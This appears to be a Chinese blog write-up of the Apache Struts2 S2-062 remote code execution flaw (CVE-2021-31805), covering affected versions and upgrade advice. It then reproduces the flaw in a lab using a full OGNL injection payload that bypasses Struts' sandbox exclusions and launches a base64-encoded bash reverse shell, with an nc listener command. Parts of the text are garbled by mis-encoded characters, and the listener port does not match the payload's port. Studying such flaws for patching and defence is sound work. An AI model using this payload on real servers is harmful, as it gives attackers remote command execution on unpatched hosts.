一、漏洞描述
Apache Struts2是一個基于MVC設(shè)計模式的流行的Web應(yīng)用程序框架。
Apache Struts2發(fā)布安全公告(S2-062),修復(fù)了Apache Struts2中的一個遠程代碼執(zhí)行漏洞(CVE-2021-31805)。
由于對CVE-2020-17530的修復(fù)不完整,在Apache Struts 2.0.0-2.5.29中,如果開發(fā)人員使用%{...}語法應(yīng)用強制OGNL解析,標簽的某些屬性仍然可被二次解析。當對標簽屬性中未經(jīng)驗證的原始用戶輸入進行解析時可能會導(dǎo)致遠程代碼執(zhí)行。
二、影響范圍
Apache Struts 2.0.0-2.5.29
三、修復(fù)建議
目前此漏洞已經(jīng)修復(fù),建議受影響用戶及時升級更新到Apache Struts 2.5.30或更高版本。
下載鏈接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
緩解措施:避免對不受信任或未經(jīng)驗證的用戶輸入使用強制OGNL解析。
四、漏洞復(fù)現(xiàn)
復(fù)現(xiàn)環(huán)境:Vulfocus 漏洞威脅分析平臺?在線靶場,這個靶場還是不錯的
1.根據(jù)漏洞提示訪問首頁
2.抓包首頁
3.構(gòu)造payload,變更請求方法為post
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))
4.把反彈shell的命令*base64*編碼處理并且對其url編碼
5. *base64 加密*
6.URL加密
7. 替換到bp里面
8.準備一臺服務(wù)器進行監(jiān)聽
nc -vvlp 7777
9.bp點擊發(fā)送反彈shell
到這里整個漏洞就復(fù)現(xiàn)完成了。